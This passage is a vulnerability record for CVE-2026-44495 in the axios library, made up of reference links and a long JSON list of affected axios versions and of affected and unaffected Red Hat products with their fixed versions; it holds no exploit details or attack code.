| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41951 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:42078 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:42142 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:42146 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:42796 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/security/cve/CVE-2026-44495 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://bugzilla.redhat.com/show_bug.cgi?id=2487937 | ||
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44495.json |
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.2"
},
{
"status": "affected",
"version": "\u003e= 0.19.0, \u003c 0.31.1"
}
]
}
],
"source": "security-advisories@github.com"
},
{
"affectedData": [
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8"
],
"defaultStatus": "affected",
"packageName": "automation-gateway",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.20260715-1.el8ap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9"
],
"defaultStatus": "affected",
"packageName": "automation-gateway",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.20260715-1.el9ap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"packageName": "automation-platform-ui",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.6.10-1.el9ap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "unaffected",
"packageName": "axios",
"product": "Red Hat Data Grid 8.6.2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783351002",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782157085",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783348181",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.11::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.11",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783350952",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.13::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.13",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782157514",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.14::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783451729",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"packageName": "advanced-cluster-security/rhacs-main-rhel8",
"product": "Red Hat Advanced Cluster Security 4.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1779371594",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"packageName": "advanced-cluster-security/rhacs-main-rhel8",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1779293013",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform-26/gateway-rhel9",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782761510",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.7::el9"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform-27/gateway-rhel9",
"product": "Red Hat Ansible Automation Platform 2.7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783919486",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4.13::el9"
],
"defaultStatus": "affected",
"packageName": "container-native-virtualization/kubevirt-console-plugin-rhel9",
"product": "Red Hat Container Native Virtualization 4.13",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782426816",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4.14::el9"
],
"defaultStatus": "affected",
"packageName": "container-native-virtualization/kubevirt-console-plugin-rhel9",
"product": "Red Hat Container Native Virtualization 4.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781807944",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:rhdh:1.10::el9"
],
"defaultStatus": "affected",
"packageName": "rhdh/rhdh-hub-rhel9",
"product": "Red Hat Developer Hub 1.10",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783448184",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"packageName": "rhdh/rhdh-hub-rhel9",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781187342",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "1782761244",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"packageName": "discovery/discovery-ui-rhel9",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782166952",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"packageName": "rhmtc/openshift-migration-ui-rhel8",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783690532",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.14::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console",
"product": "Red Hat OpenShift Container Platform 4.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782911957",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.15::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console",
"product": "Red Hat OpenShift Container Platform 4.15",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782127091",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.16::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console-rhel9",
"product": "Red Hat OpenShift Container Platform 4.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782244020",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-monitoring-plugin-rhel9",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781695012",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784148076",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-monitoring-plugin-rhel9",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781731914",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784134078",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-agent-installer-ui-rhel9",
"product": "Red Hat OpenShift Container Platform 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784119173",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.29::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/dashboard-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.29",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782498792",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel8",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781937133",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel8",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782287580",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201894",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201833",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201696",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201537",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201851",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201812",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-ossmc-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782231869",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"packageName": "openshift-service-mesh/kiali-rhel9",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782201466",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783750447",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783751865",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784351966",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel9",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783955846",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"packageName": "quay/quay-rhel8",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1784125838",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"packageName": "axios",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"packageName": "cryostat-openshift-console-plugin-npm",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"packageName": "gatekeeper/gatekeeper-rhel9",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "unaffected",
"packageName": "mta/mta-ui-rhel8",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"packageName": "mta/mta-ui-rhel9",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"packageName": "network-observability/network-observability-console-plugin-pf4-rhel9",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"packageName": "network-observability/network-observability-console-plugin-pf5-rhel9",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"packageName": "network-observability/network-observability-console-plugin-rhel9",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"packageName": "openshift-pipelines/pipelines-hub-ui-rhel8",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"packageName": "openshift-pipelines/pipelines-hub-ui-rhel9",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"packageName": "openshift-service-mesh/kiali-operator-bundle",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"packageName": "openshift-service-mesh/kiali-rhel9-operator",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp21/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp22/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"packageName": "3scale-amp2/system-rhel7",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel8",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel9",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "axios",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"packageName": "ansible-automation-platform/automation-dashboard-rhel9",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"packageName": "automation-controller",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "automation-hub",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python3.11-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python3.12-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python3x-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"packageName": "python-galaxy-ng",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_spring_boot:4"
],
"defaultStatus": "unaffected",
"packageName": "axios",
"product": "Red Hat build of Apache Camel for Spring Boot 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "affected",
"packageName": "axios",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "apicurio/apicurio-registry-ui-rhel8",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "apicurio/apicurio-registry-ui-rhel9",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"packageName": "rhdesktop/rh-podman-desktop-ext-openshift-local-rhel10",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "grafana-pcp",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/bootc-cuda-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/bootc-gaudi-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/bootc-rocm-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"packageName": "rhelai3/disk-image-cuda-rhel9",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "axios",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-dashboard-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-dashboard-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-mlflow-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
